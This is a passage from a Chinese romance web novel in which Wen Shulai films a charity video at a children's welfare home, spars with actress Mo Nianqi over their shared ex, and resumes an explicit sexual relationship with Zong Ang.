温纾莱在纸抽里抽出两张纸巾擦擦鼻子, 迟钝地想起昨晚她电影看到一半就歪在沙发上睡着了,睡到一半被经由大敞四开的窗户灌进来的凉风冻醒才迷糊地晃进卧室。 宿醉、吹风。 感冒也在情理之中。 她走到窗户边往下看,小区的沥青地面有几处地方泛着深色,坑洼里聚积着雨水。 雨是凌晨时分降下, 淅淅沥沥地下满后半夜, 天亮就停, 这会儿阳光大好, 晴空万里。 喝酒喝得胃里有些微的烧灼感, 温纾莱没太大胃口,在餐边柜的抽屉里拿出一包藕粉冲泡当做早饭。 吃完出发去上班。 北京的早晚高峰能堵到怀疑人生,温纾莱车技中等水平, 最不喜刹车油门来回切换,所以她一般都会提前个一刻钟出门,避开高峰路段。 宗穆川工作室是弹性工作制,不设固定时间打卡上下班。 除了温纾莱和几个昼夜颠倒、嚷嚷着白天没灵感只有万籁俱寂的夜晚才能剪出片子来,此刻忙完正躺在休息室里呼呼大睡补觉的“美国人”,其余人都还没来。 温纾莱到工位放下包,去茶水间接了杯热水回来,坐下后戴上耳机,审阅起凌晨四点天色破晓之际发到她邮箱的片子。 宗穆川对温纾莱的提携与栽培,全工作室有目共睹,不知道从什么时候起,片子剪辑完都会先发给温纾莱,她审核通过后剪辑组那边再发给宗穆川做最终审批。 这样多加一个温纾莱这里的流程,极大程度上减少了剪辑组挨骂的风险。 大家都是人,是人就有共通性,工作室内部不是没有编排过温纾莱和宗穆川之间不正当,但很快这种质疑就随风而逝。 因为温纾莱能力确实出众,也因为宗穆川骂起温纾莱来更加不留情面,用词更加犀利难听。 哪有半点老情对小情的喜爱,更像是长辈对器重晚辈的恨铁不成钢。 于是“温纾莱是宗穆川私生女”这一新的谣言又凭空捏造出来,在工作室内小范围传播过后又发酵到网上。 被污蔑成是想出名想疯不惜勾引岁数能当她爸的老男人时,温纾莱无动于衷,随他们去说。 被更改亲生父母,温纾莱忍无可忍,她拉着宗穆川去做了亲子鉴定报告,将报告结果发到微博上,并说明再有造谣者会予以诽谤罪追究起诉。 四起的谣言就此平息稍许,但依旧有人乐此不疲地给温纾莱和宗穆川编造情感故事。 他们狭隘地坚信男女之间不会有单纯的情谊。 片子审到一半,温纾莱眼眶泛酸,又干,是感冒的前兆。 隔桌那个莫念琪妈粉的同事拎着咖啡和贝果进来,见到温纾莱,关切问:“大热天的你带个口罩,过敏了还是感冒了?” 温纾莱捏捏横在鼻梁上的口罩金属条,闷声闷气地回:“要感冒。” 同事从她的桌子那里拿出一盒冲剂和一盒药片给温纾莱:“这是我尝遍市面上众多感冒药找到的最有效的两款,一天两次保准药到病除。” 温纾莱不爱吃药,小感冒都靠熬,严重到发烧再说。但她没拂同事的好意,怕传染给别人,扣开药片按说明书的剂量混水吃下两粒。 片子看完,她提出两点修改意见反发回剪辑组,看时间差不多,她关掉电脑起身。 摄像组那边的人也都收拾好东西过来,他们碰头后一起往外走。 宗穆川的工作室涵盖全流程影视制作,有独立的后期制作团队,规模不亚于影视传媒公司。工作室不止出品宗穆川指导的电影,还会接一些公益微电影的工作,招引来的投资赞助都会捐赠于慈善组织。 温纾莱他们今天要去隔壁省的一家残障儿童福利院拍摄。 是福利院院长主动联系上的他们,营销组有专人负责工作室社交账号的运营,定期清理后台私信时在满屏未读中看到院长的请求,运营的同事即刻上报,当天他们就派人前往福利院视察情况。 定下今日的拍摄计划。 说是福利院,可那个小院更似是私人住宅改造,经了解,这家福利院是一对老夫妻所开,初始只是在路上捡到了一个流浪儿,于心不忍便带回家收养,后来接纳的孩子越来越多,就演变成一家正规的福利院。 老夫妻相继去世后,他们的女儿继承父母的遗志照顾着这群无家可归的孩子,近些年入不敷出,才想到在网上寻求帮助,让社会上更多的人能关注到他们的福利院和残障儿童这个群体。 开车将近两个半小时。药效上劲,温纾莱头有点晕,一上车就缩在最后排角落睡觉,养精蓄锐。 一路睡到目的地,醒后不仅没好,反而更觉得浑身虚浮无力,她拍拍两颊让自己清醒一点,口罩又多带一层,下车去和院长交涉。 一群小朋友新奇又懂礼貌地站在远处,伸着脖子望着院子里架起来的那些高档器材。顾念着是要和小孩打交道,他们今天过来的这一行人都挺喜欢小孩子的,见不得小孩子们眼巴巴的可怜模样,摄像组的大俊提着摄像机走过去,叫小孩们来玩。 器材再贵也是死的,比不上孩子们渴望学习新事物珍贵。 小孩子再听话也不如成年人好掌控,一整天下来,脚本上的内容才拍了三分之一,不过他们也没想要一天就全部拍完,规划出来的时间是三天,绰绰有余。 来前温纾莱他们就在网上订好了周边的酒店房间,在福利院和一群小可爱们吃完晚饭就驱车回了酒店休息。 在外奔波一天,温纾莱精神状态好不少,洗完澡出来鼻子也没那么堵了,边站在洗漱台前边吹头发边看手机。 有两通宗昂的未接来电。 一个在下午,一个在两小时前。 微信里也有一条他的未读。 问:「在忙?」 半小时前发送。 上次宗昂找她,让她别沾渣男,挂完电话温纾莱就删除了他的对话框。 眼不见心不烦。 现在聊天界面只有他新发的这一条消息。 温纾莱一顿,没理,专心吹完头发才回他。 「在忙。」 下一瞬,手机嗡震,宗昂的视频邀请弹出,不等温纾莱选择接还是挂,对面就先取消了邀请。 转成文字消息:「我订了夜宵,给你送过去?」 文殊莱莱:「不用了,我不在北京。」 温纾莱放下手机 「那你在哪?」 这条消息发出去,宗昂又一秒钟撤回。 太生硬了点,像在逼问。 他重新措词:「出差还是?」 又删除。 「那你什么时候回来?」 还是不太对味。 贤惠懂事的人设真几把难装。 手机扔到桌上,宗昂仰靠在椅背上,瞅着包厢顶部繁复的花纹,一阵眼花缭乱。 他找向屿撒气:“真是年纪大了,审美都老龄化了,这包厢设计得像七八十年代的歌舞厅。” 今晚是六个人的私人聚会,没别人,在Half。 向屿悠哉地品着新开的一瓶红酒,闻言回怼:“追不回前女友就去报课学习,别疯狗一样逮谁咬谁。” 大A问:“什么前女友,你不跟那个谁——”他想了想人名:“那个莫念琪谈呢吗,都上热搜了。” 宗昂都懒得搭理他的胡言乱语。 孔佳良摸着大A的后脑勺说:“你还是看你的育婴百科全书吧,别掺合我们这些未婚少男的话题了。” 大A是他们几人中发展最快的一个,求婚第一个,结婚第一个,他们还孤寡着人老婆都要生二胎了。 人生进度遥遥领先。 宗昂想好要发什么,又捞回手机。 「那你回来告诉我。」 温纾莱已读没回- 第二天拍摄前,院长歉意地告诉他们有个明星要来探望孩子们,会不会干扰到他们拍摄。 院长自己也有经营微博,会在上面发一些孩子们的照片,有几条点赞量挺高,也收到过一些小额捐款和衣物。 前两天后台私信收到一则消息,是艺人经纪人亲自找她,问可不可以来看一看。 多一个人,而且还是当红公众人物来增添热度,院长求之不得。 但凡是都有个先来后到,院长本是和经纪人约好的时间是下周,可艺人那边行程有变,只能腾出这一天的空来。 温纾莱自是不介意,明星自带流量,到时候他们还可以合作一把,他们借助艺人的曝光度,艺人能通过他们的专业拍摄宣传为自己博得一个好人缘,达成三方共赢局面。 他们团队内部协商一番,修改了几处脚本,改完,小院门口就停下三辆黑色商务车。 中间那辆车的后排车门打开,穿着白T黑裤扎着丸子头的女人下来。 是莫念琪。 第70章 第 70 章 炫耀 天气预报预测今日最高气温可达四十三度, 此时九点多钟就已硕日高挂,地面有蒙蒙热浪蒸腾而起。 莫念琪一下车,暑热气息扑面而来, 五官登时皱成一团, 下一瞬又急忙舒展开, 回身在车里翻出一顶棒球帽戴上。 有了帽檐遮挡,视线清明起来, 她望进小院内部, 恰好同正朝她看来的温纾莱对上眼。 表情又有那么一下挂不住。 还真是冤家路窄。 她上半身又钻回车里,跟随在侧的莫念瑶拉住她的手腕。 问:“你又要干什么?” 莫念琪压低的嗓音不大爽利:“找墨镜,晒。” 莫念瑶也低声斥她:“你差不多得了, 又是帽子又是墨镜, 你是来做公益的不是去海边度假!” 莫念瑶是莫念琪的堂姐, 也是她的经纪人, 伦敦政经的高材生, 毕业回国后就在带她, 可以说莫念琪有今日的成就,离不开莫念瑶的规划和筹谋。 最关键的一点是,莫念瑶能压住莫念琪的娇纵。 堂姐一发话,莫念琪偃旗息鼓, 撒娇的小声嘀咕:“我好不容易有一天休息你还给我接了这么个工作, 妆不让我画, 防晒也不让我涂, 在这么大的太阳底下别说晒一天, 晒一个小时我都得脱层皮。” 莫念瑶一步跨到莫念琪身前,解开她的丸子头,到底没忍心摘掉她的帽子。女明星的脸就是行走的名片, 要真晒伤,医美修复很耽误时间。 她说:“刘师琳的下一部电视剧要选角了。” 宗穆川是国内电影界的导演一把手,刘师琳就是电视剧导演的顶尖。 她下一部电视剧是和央视合作的年代剧,故事背景与福利院有关,正好前些日子莫念瑶刷微博刷到了这家福利院院长,这才有了今天这趟行程。 莫念琪睁大眼:“真的?不是说还早呢吗?” 莫念瑶给她绑好低马尾,“昨晚得到的消息,不然我为什么让你提前过来。” “那你怎么不直接告诉我?” “怕你着急。”莫念瑶深知莫念琪的急性子,怕她一会儿和孩子们相处时表演痕迹过重,但一看莫念琪这娇气劲儿,更怕她禁不住晒连演都不演。 她拍拍莫念琪的脸:“就是再不喜欢小孩,再嫌烦你也给我忍这一天,做不好别怪我骂你。” …… …… 莫念琪从里到外整理好她自己后,进去。 院长也已经从二楼下来,作为中间人,院长给温纾莱和莫念琪两拨人相互介绍,又表达一番没能排开时间的歉疚。 等院长说完,莫念琪将责任都揽到自己这边:“您不用抱歉,是我们临时改了计划。” 她落落大方地笑着:“而且都是为孩子们好,我和纾莱又都认识,更不会在意这些。” 院长诧异:“你们认识?” 温纾莱挺给面子地接话:“大学同学。” 前天晚上在慈善晚宴现场唇枪舌剑不复存在,各自都带上虚假的面具,藏起私人恩怨,公事公办地客套着。 定好要和前来做公益的艺人打配合时还不知道来人是莫念琪,现在知道了也改变不了什么,他们都不是三四岁的小孩子,讨厌谁就能和谁一刀两断,成年人的世界里只有利益。 这次拍摄,温纾莱是团队的主要负责人,去和莫念琪那边商量合拍事宜也得是她出面。 莫念瑶听后想也没想的就同意,他们这边也有跟拍摄像,但免费多一个宣传机会,何乐而不为。 温纾莱他们和孩子们已经有过一整天的磨合,莫念琪一个专业演员也是高度配合,拍摄进展得很顺利。 孩子们每天中午都有固定午休,吃完饭就去午睡,大人们也能休息片刻。 有一个小女孩特别喜欢莫念琪,缠着她要她讲故事哄睡。莫念琪谨记着堂姐上午的那一句叮咛,好脾气地由小女孩牵着去到宿舍。 讲完两个故事,小女孩还是没有困意,水汪汪的大眼睛盯着莫念琪,由衷夸赞:“姐姐你好漂亮。” 没有人能抵抗得住赞美,莫念琪也不例外。 她笑着捏捏小女孩的脸:“你也好漂亮。” “姐姐你有男朋友吗?”小女孩问:“你这么漂亮你男朋友一定也很帅。” 莫念琪自动过滤掉她的第一个问题,回她第二句话:“当然啦,姐姐有照片你要不要看?” 小女孩猛点头。 莫念琪在手机相册里翻出她和宗昂的一张合照递给小女孩。 宿舍的空调年久老化,开起来噪音大到无法忽略,制冷也不太管用,还不如吹自然风来的凉快。 前后两扇窗户左右大开,温纾莱从宿舍外的走廊经过,听到莫念琪和小女孩的笑声。 莫念琪抬眸一瞥,音量加大:“这张是我们在海边看日落,也是姐姐最喜欢的一张。” 小女孩捧场:“哇,好漂亮!” 温纾莱目不斜视走过,纤柔挺直的身影连个停滞都没有,似是根本没听到莫念琪在讲什么,又或者听到但不关心。 来回往返酒店太折腾,院长加急拾掇出两间房间供他们暂时休憩。 温纾莱刚拐过楼梯转角,一道脚步声追来。 “等等。” 温纾莱止步,半侧身:“什么事?” 莫念琪一步两三个台阶地迈上去,“你刚刚听到了吧?” “听到了。”温纾莱不明所以:“然后呢。” “你就一点都不好奇你不在的这两年多里,我和宗昂一起经历过什么吗?”莫念琪咬重“一起”这两个字,借此将温纾莱排除在外。 温纾莱好笑反问:“我为什么要好奇分手后前男友的生活?” 莫念琪最见不惯温纾莱这副淡然处之的态度,对比起来,她好似一个跳梁小丑。详细展开慈善晚宴那晚的笼统表述:“我们去过圣托里尼看日出,夜爬过马特洪峰,他在米兰的公寓有我亲手贴上去的窗花,那是我们一起跨的第一个新年,他常去一家法国人开的小馆,餐前要先吃一块切角蛋糕。” 温纾莱耐心听着她的追忆,未置一词。 她只要撂下一句——宗昂回国后找过她了,就能将会将莫念琪打击得一败涂地。 可她不想这么做。 比拼谁和宗昂的碰撞出的故事更多?那他爸妈独占鳌头。为这样的事情你来我往的争执,各抒己见,很没意思,很无厘头。 温纾莱也不是这样性格的人。 况且宗昂找她的缘由只是还没玩够她这个人,并不是因为什么高贵纯挚的“喜欢”。 但莫念琪屡次三番地来找她不痛快,她也很恼。 “你说了这么多是想表达什么?”温纾莱波澜不惊地看着她:“想表达你和宗昂情比金坚,想让我知难而退?” 她说:“你们两个的感情要真像你描述的那样好,那你又干嘛要来找我炫耀,你在害怕什么?” 莫念琪肉眼可见的一僵,提高声音:“你胡说八道什么,我怎么会害怕!” 温纾莱最烦与人吵架,尤其烦吵架时对方一言不合就起高调。 她先退一步:“那就当是我误会了。” 不想再同莫念琪纠缠,温纾莱话一说完就擦着莫念琪下楼。 温纾莱感冒还没好,今早起床鼻塞加重,本是想浅眯一会儿,这么一闹,困意全消。 她来到院长自己亲手种植的一小片菜圃,站在墙根底下,从外套口袋里摸出一盒烟。 娴熟地单手拨开烟盒,咬出一支烟。 宗昂的消息这时发到她手机上。 「在干嘛?」 这三个字她每天早中晚各会收到三次。 孔佳茉曾说过“在干嘛”、“在不在”是最勾不起聊天欲望的两句开场白。 温纾莱记得以前宗昂聊天没这么无趣。 她吸一口烟,清凉的薄荷味冲进干涩的喉咙,她在缭绕烟雾中半眯起眼。 圣托里尼的日出和马特洪峰的夜景应该都很美。 想象完,她鬼使神差地回复宗昂一条风牛马不相及的消息。 「我明天晚上八点到家。」- 莫念琪就只来一天,当天晚上就回了北京,温纾莱他们还有一天拍摄,隔日下午才动身返程。 这三天来温纾莱的感冒时好时坏,下去拍到一半还发了烧,院长给她找出儿童专用的退烧冲剂,两袋灌下去,傍晚回北京路上睡一觉还就痊愈了。 他们开的是公车,先去工作室放东西再各回各家。 晚饭还没吃,路过一家日料店,温纾莱下去打包了一份鳗鱼饭。 晚高峰已过,一路都挺顺当地开回家。 温纾莱现在租住的小区中档偏上,地段好,进出都是朝九晚五的社畜,但临近重点高中,也不乏有陪读家庭。 温纾莱不喜欢地下车库,夜半回家感觉阴森森的,租的是地上停车位,就在她楼下正对她楼口的那一个。 拐过绿化带,车灯一照,楼下的花坛边上蹲坐着一大一小两个人。 还有一只洁白的雪橇犬。 温纾莱停好车,解开安全带下去,花坛边上的一人蹦下来。 宗昂走近,手朝她伸,温纾莱懵顿,等他接过她肩上的托特包以及拎着的那份鳗鱼饭,她才反应过来宗昂是要帮她提东西。 这一行为自然的彷佛他们从未相隔两年。 一道略显稚嫩的嗓音划破夜空:“黑葵!不许冲!” 温纾莱循声望去,是那个和宗昂一块儿蹲在花坛上的小男孩,人正死命拽着要爆冲的萨摩耶。 而那只萨摩耶正吐着舌头朝她咧嘴。 小男孩不好意思地笑笑:“它比较热情,但不咬人,姐姐你放心。” “没事。”温纾莱过去摸了摸萨摩耶的脑袋,又挠挠它的下巴。 萨摩耶更加兴奋,尾巴甩的快要断掉,抬起两只前爪就要扑温纾莱。 小男孩及时拽住胸背,看不下去自己的狗这么不知矜持,留下一句“哥哥姐姐再见,祝你们约会愉快”,就连拖带抱地带狗走了。 温纾莱一头雾水:“什么约会?” 宗昂牵起她垂在身侧的手,手腕一转,交扣进她的指缝。 “我没有门禁卡进不去,在楼下等你,那小孩来遛狗,狗也见到我就扑,我俩就坐下聊了会儿。”他事无巨细:“看我像个无家可归的,问我怎么了,我说来找女朋友,他就当是约会了。” 温纾莱应了声:“是这样。” 第一个话题就此终结,刷卡进电梯,玻璃镜照出他们两个并肩而立的画面,温纾莱平视前方,宗昂在看镜子里的她。 到楼层,温纾莱指纹识别解锁开门,宗昂跟在她后面进去。 就要问有没有备用拖鞋,身前的人一个转身,宗昂肩膀轻轻一沉。 温纾莱踮起脚,双手扶着他,吻在他唇上。【你现在阅读的是 】 70-80 第71章 第 71 章 过河拆桥,吃完就忘 温纾莱的这一吻毫无预兆, 宗昂一个蒙圈愣在原地。 他提着温纾莱的包和晚饭的那只手半抬到空中,正要把东西放在斗柜上的姿势,人也松垮的站着, 温纾莱这一投怀送抱出其不意, 他一时没支住, 往后退去。 与此同时,身体条件反射地揽上温纾莱的腰, 带着她一起。 微弱的一声“嘭”, 他后背撞到门板,连着胸腔里的那个心脏都重跳一拍。 从两年多以前两人有交集的那一刻起,温纾莱都一直处于被动状态, 物以稀为贵, 所以每次她一主动, 宗昂就像见到骨头的狗, 极其亢奋。 他才不忍心让温纾莱一个人唱独角戏, 搂着温纾莱的手臂收紧, 垂颈回应她。 唇瓣辗转碾磨,湿濡的津液推送纠缠。 虽然是温纾莱先起的头,但她两年前就不得要领,两年也依然不如宗昂, 没一会儿就丧失主动权。 她的舌尖和唇珠被宗昂反复吮吸, 肺部的空气快要被他榨/干, 攀在他肩膀的手缓慢失力下滑, 宗昂察觉到, 及时地圈着她手腕环绕住他脖颈。 弯腰一捞,单臂托在她臀下,稳稳地抱着她进屋。 经过斗柜, 包和晚饭急不可耐地扔在上面。 气得温纾莱揪了下他后脑的头发:“别把我电脑摔了!” 宗昂咬了口她的脸颊,“摔不了,我有分寸。” 温纾莱这间公寓是个小居室,客厅不算大,沙发的长度也就刚好能容纳温纾莱平躺。 宗昂屈膝跪在上面,拨开她的防晒外套,唇/舌也随之向下。 温纾莱情不自禁地想曲起腿,腿才弯出一个半弧就顶到宗昂紧实的腹部,只好徒劳无功地放下。 酥麻自宗昂抚慰的地方四下蔓延,她不自觉挺腰。 为了便于拍摄,这三天温纾莱带的衣服都偏运动休闲,宽松的裤腰插进来一根手指,温纾莱在迷蒙中叫停。 她按住宗昂的手,起伏着语调:“先去洗澡。” …… …… 浴室里雾气缭乱,覆满水汽的玻璃门不时印上几个手印,最终一片白皙贴上。 温纾莱背靠着冰凉的玻璃门,却感觉不到一丝冷,一条腿架在宗昂肩上,脚跟紧抵他的脊柱。 不敢低头,闭着眼,在氧气稀薄的密闭空间中喘/息着。 可有人非不要她好过。 宗昂膝盖触地,跪在温纾莱斯身前,浓密的睫毛上撩,掀起眼皮瞅她:“宝宝看我。” 温纾莱被他蛊惑,睁开眼,下睨。 宗昂就那么坦荡地跟她对视着,伸舌一挑。 视觉冲击太强,再加生理刺激,温纾莱大脑有了空白。 …… …… 温纾莱三天没回家,窗户紧闭,卧室里闷热不堪。 宗昂抱着她出去,在床头柜上找到遥控器打开空调。 制冷没那么快,坦诚相见地两人湿漉漉地粘在一起。 到关键节点,宗昂停下。 温纾莱面露困惑。 宗昂亲亲她的眼皮:“没套宝宝,做不了。” 天地可鉴,他会等在温纾莱公寓楼下纯粹就只是想看看她,没想要干别的,更没想过要到这一步。 所以空着手就过来了。 再订外卖也来不及,这事儿也没有中途按下暂停键这一说。 就在宗昂打算用在浴室里同样的方法帮温纾莱纾解时,温纾莱拦住又要往下埋的他。 她说:“床头柜的抽屉里有。”? 宗昂今晚第二次愣住。 她一个女孩,公寓里为什么会备着这东西,答案不言而喻。 宗昂撑在床褥上的手背青筋鼓动,眼底阴翳一闪而逝,动了动嘴唇,又什么都没说,直起腰拉开抽屉,从里面摸出一个全新未拆封的方盒。 戴上。 扣住温纾莱的手按在她头顶。 温纾莱知道他在想什么,也知道他在误解什么,但她不准备解释。 至少目前不准备。 空旷许久的两个人暗中较着劲,又一边沉溺于对方带给自己的感受中。 宗昂闷不吭声地进出半晌,终究还是憋不住火,伏到温纾莱耳边:“我和他谁技术更好?” 温纾莱不语。 宗昂停在里面不再动,卷着她耳垂:“谁让你更舒服?” 他的质问中包含着委屈。 温纾莱才不管他吃哪门子醋,她只想他别吊着她。 她偏过头,唇蹭着他的头发,嗓音黏腻:“你别——” 温纾莱在情事上向来内敛,说不出露骨的话,催他都无从开口。 宗昂也不好受,对上温纾莱的他,自制力就是个奢侈品。 “你先回答我。”他诱哄道:“你说了我就让你满意。” 这人真讨厌死了。 温纾莱败兴地记起莫念琪输出的那一番她和宗昂共同拥有的回忆,就不要顺着宗昂,抬腿蹬开他。 “不做拉倒。” 脾气是真大了不少。 宗昂再次确认。 可这样会耍小性子的温纾莱他也超爱,攥着她脚腕把人拽回来,道歉:“对不起宝贝,别生我气。” …… …… 虽然甭管遇到多大的事,温纾莱都能倒头就睡,但她对床品的质量要求还蛮高。 公寓的床垫是她跑了三家家具城才买到的心仪款,彼时导购还推荐说这款床垫采取什么什么工艺,就是十来个人一起在上面蹦迪都没事。 可被宗昂弄的时候,她总能听见床垫咯吱咯吱的声响。 对此,她有点小郁闷。 不知道今晚这一做过后,床垫的构造会不会有所改变,影响到她的睡眠。 鳗鱼饭早已凉透,宗昂又新给她订了一份,温纾莱是说用微波炉叮一下就好,别浪费,然后宗昂听话地去叮了,叮完他把那份给吃了。 温纾莱边思考着床垫边吃着新的鳗鱼饭。 宗昂订的这家外卖味道尚佳,等会儿她得问问店名叫什么。 浴室那边传来水流冲刷的淅沥声。 温纾莱盘坐在餐椅上,探身往浴室瞧了眼。 宗昂没带衣服来,温纾莱这里更不会准备,做完又洗了个澡,宗昂单穿着他来时的那条短裤,赤着上半身在浴室打扫。 温纾莱不赶时间的话,吃饭能吃一个小时,跟玩似的慢慢悠悠。 宗昂清扫完暧昧的残局出来,温纾莱的鳗鱼饭才吃完一半。 宗昂去厨房倒杯水放在她手边。这才一个晚上,他就已经在这公寓里如鱼得水了。 手扶到温纾莱旁边的那把椅子上,拉开坐下。 温纾莱喝了口水,转脸问他:“你开车来的吗?” 宗昂“嗯”一声:“怎么了?” “那没事了,我怕一会儿你走得晚不好打车。” 温纾莱这小区外来车辆未经住户带领登记不许入内,她回来时也没太关注小区外有无宗昂的那几辆车停放。 这一晚,宗昂被温纾莱搞的错愕数次。 先是进门后由她主导的那一吻,再是床头柜抽屉里的套,最后是她这句潜台词是驱逐意思的话。 “你赶我走?” “不是赶,我的床不大,睡不下两个人,而且我也习惯自己一个人睡了。”温纾莱撂下筷子,这顿晚饭推迟成了夜宵,她不能吃太饱,否则睡觉太难受。 宗昂眸光沉沉地盯着她。 说来说去不还是赶他走么。 无非就是修饰了一下,没那么难听。 也能理解,和好得需要一个再磨合的过程,今晚发生的一切已经是一个巨大进步,他也不能太贪心,妄图一夜回到分手前。 宗昂垂头缓吸口气,说:“等你吃完我就走,垃圾顺手带下去。” 温纾莱把还剩一半的鳗鱼饭扣好盖子,推向他那边:“我这就吃完了。” 宗昂气笑:“温纾莱,你什么意思?” 他勾着温纾莱的椅子把人拉近:“过河拆桥,吃完就忘?” 第72章 第 72 章 “我今晚和你睡好吗?” 温纾莱不认宗昂给她定的罪。 这件事他没爽吗?他没吃饱吗? 又不是她单方面利用他。 怎么就是过河拆桥? 宗昂走后, 温纾莱刷完牙关灯躺回床上。 床单被套都被宗昂换成另一套,之前那套是她出这趟短差前才换,但被他们两个搞得太湿, 不换睡不了人。 四件套全新, 卧室里也开着换风, 宗昂的气息和那些羞耻的味道都散得一干二净,浴室也清理如初, 不留一点痕迹。 温纾莱从床这边滚到那边, 床垫安安静静,没有发出一丝怪响。 还好,没有做坏。 温纾莱睡前照例点开微博, 刷刷新闻和娱乐八卦。 热搜榜单里, 莫念琪的名字再次登场。 是昨天她去福利院做公益的照片, 工作室连发九张图, 前八张都是各种视角下的孩子们, 最后一张才有莫念琪, 还是一张她和福利院包括老师在内全体人员的大合照。 没站C位,而是搂着第一排最边上的一个小女孩站在照片的角落里。 不得不说,莫念瑶不愧是伦敦政经出身,耍得好一手宣传。 微博通篇没有提莫念琪一个字, 全文也没有华丽的词藻点缀, 用最质朴的文字排列详细写明福利院的境况, 要不是微博昵称和头像都与莫念琪相关, 乍一刷到的人还会以为是哪个慈善基金会的账号。 明星做公益大部分都是作秀成分居多, 但不管是真心还是假意,至少他们利用他们公众人物的身份和影响力让更多的人了解和重视到社会中的弱势群体。 莫念琪去做公益的真实目的温纾莱不予置评,当然也轮不到她这么一个外人评价, 不过莫念琪这一次行程安排引发的效果是好的。 莫念琪工作室的微博一出,已经有慈善组织留意到福利院,莫念琪本人也通过这次活动收获了一大批路人的好感度。 刷了刷莫念琪,温纾莱就退出这个词条。 弹窗跳出,她收到一条微信消息。 来自「.」 温纾莱自始至终都没有给宗昂改过备注,从两年前加上他,他就是以他的微信昵称躺在她的好友列表里. 「我到家了。」 宗昂是耍着气走的,冷着一张脸,也没忘丢垃圾。 现在又发消息给她,是气消了? 温纾莱不晓得要回什么。 好像也没必要回。 切回微博,点进温屿年的超话,看看他的粉丝们今天又有什么产出- 做过那一次后,温纾莱和宗昂就默契地进入一段肉/体关系。 宗昂怎么想温纾莱不清楚,反正她是这么定义的。 白天温纾莱照常上班,抽空回宗昂个消息,宗昂会约她中午一起吃饭,温纾莱偶尔会应偶尔不会,她不去宗昂也不强求。 下午三四点钟温纾莱会告诉他她今晚几点到家,宗昂会问她吃什么,然后带着宵夜在她公寓楼下等她。 后来有几次温纾莱回去,看到宗昂和那个小男孩或蹲在花坛上或在她楼前的台阶上聊天,还有那只名叫黑葵的萨摩耶。 真不懂两个相差得有一轮的人是怎么能聊到一处,抑或是男生的共同话题比较多? 两人上楼进门后,有时候会先看着电影吃宵夜,吃完再做,有时候就先做完再吃。 但每次温纾莱都不会让宗昂留宿,无一例外。 来那么几次后,宗昂将温纾莱的公寓里里外外不动声色地摸索个遍,没有找到有其他异性存在过的迹象。 他稍作平衡,他没能住进来,韩子彦也没有。 那就还行。 宗昂没再问过温纾莱她和韩子彦的事情。 他是很着急,没有人会愿意跟别人分享自己心爱的人,但他在忍,在克制。 他不能再强迫温纾莱,他得让她看到他的成长。 所以温纾莱什么时候和韩子彦分手都随她,宗昂觉得要是他做得足够好,足够乖,不必他催,温纾莱自然就会丢掉韩子彦。 还没丢,那就说明他还不够努力。 又一次弄软温纾莱,宗昂爬上去,他的嘴唇、下巴都被打湿,灰蓝色的眼眸亮晶晶的。 他毫不吝啬的夸赞:“宝贝好棒。” 低头要去亲温纾莱,温纾莱扭头躲开。 不知道宗昂什么癖好,每次都喜欢舔她。 她很嫌弃。 即便那是她自己的东西。 没力气说话,宗昂刚才咬她的那一下太过火,尖锐的快/意直击灵魂,极致过后她现在累得想睡觉。 宗昂是不会让她睡的。 床垫又在咯吱咯吱地怪叫,已经连续好几晚,温纾莱晕晕乎乎地想,等下个周末她要去家具城再挑一个品质更好的床垫。 总这么叫,她听不下去。 宗昂精力旺,需求也大,但顾念温纾莱第二天要上班,不像他这个无业游民无所事事,他就只做两次。 温纾莱到宗穆川手底下后,就不止整日埋头写剧本编故事,她干过摄像、做过编导,总之就是宗穆川工作室的每个部门她都轮转过一遍,奔波来奔波去。 宗穆川的电影开机后她还得跟组,宗穆川偏爱实景拍摄,有时拍摄地点在荒无人烟的深山老林里,没点体力真跟不上宗穆川的步伐。 她早锻炼出来了。 一般做完两次,她还有余力吃点东西、玩会儿手机,可今晚宗昂不按常理出牌,突然咬她那一下,整得温纾莱做完一次就要睡过去。 宗昂抱她去浴室洗澡时她的意识就在涣散,洗完出来,人已经昏昏欲睡。 一挨到枕头,温纾莱就熟练地搂着被子翻身,宗昂站床边看着她与本人性格不相符的睡姿,勾唇笑笑。 温纾莱睡觉很不安分,以前他们两个同居,每天宗昂醒来都会见到温纾莱千奇百怪的姿势,要么是紧贴床边要么是把他挤到床边,有时候脑袋还会调个方向。 她从来就不是个乖巧的人,在自己的地盘熟睡后不必再装,这豪迈的睡姿就能暴露她的一些真切面目。 宗昂今天也不想再装听话,他想留下。 于是趴到温纾莱耳边,小声问她:“我今晚和你睡好吗?” 温纾莱困得眼皮都睁不开,全凭下意识回:“嗯?” 宗昂自动将她扬起的疑问调子转化成肯定的答案,躺在她身侧,圈上她的腰,鼻尖贪恋地埋进她的发丝。 …… …… 一夜好眠。 翌日一早,温纾莱醒来正要伸胳膊去找手机,感到一股限制的力道横亘在她腰间,耳畔慢半拍传来平稳的呼吸声。 她缓转过头,宗昂的那张脸近在咫尺。 卷发凌乱,半张脸陷进柔软的枕头里,卷长而密的睫毛,优越高挺的鼻梁,饱满的嘴唇。 宗昂的嘴唇是肉感的那种软,很好亲。 温纾莱总会联想到她小时候最爱吃的一款橙子果冻。 不知道他怎么会睡在这里,睡都睡了,温纾莱也不纠结。 她要出差飞一趟纽约,受邀出席时装周,上午十点的航班。 拿开宗昂环着她的手臂,温纾莱轻手轻脚下床洗漱。 她这两年出差是家常便饭,衣帽间里总会备有装好衣物的行李箱,拎上就能走。 她出门的时候宗昂还没醒,温纾莱没叫他。 到机场,孔佳茉比她早到十分钟在候机室等她。 孔佳茉去参加时装周是私人行程,大小姐每年都要去各大时装周扫荡。 毕业即离别,虽然她们宿舍有三个都在北京,但各自都有工作要忙,聚会得提前一个星期预约,对好各自的时间。 上次温纾莱和孔佳茉见面,是三四个月前,在大学生电影节的现场。 又是几个月不见,一碰面,孔佳茉就迫不及待跟温纾莱分享她最近生活中的好赖事。 温纾莱是个称职的倾听者,好事她会一起高兴,坏事她会同仇敌忾。 “我那个三姑给我介绍的相亲对象我都不想提,说什么德国留学回来的医学生,听起来很牛逼对吧,但情商真的低。”孔佳茉说:“我们第一次见面去吃的法餐,有一道黄油煎牛蛙,我点菜的时候他屁不放一个,菜上来他跟我讲了半天牛蛙的种植和寄生虫感染概率。” 事发都已经半个月,再提起孔佳茉照旧一肚子气。 “我以后再也没办法直视我最爱的牛蛙了!” “情商是挺低的。”温纾莱说完忙不迭端起咖啡抿着喝,遮掩着快要溢出的笑。 “不说我了,说说你。”孔佳茉撩撩头发,将不解风情的直男赶出她的脑海,转过身撑着下巴看温纾莱:“宗昂回来找你没?” 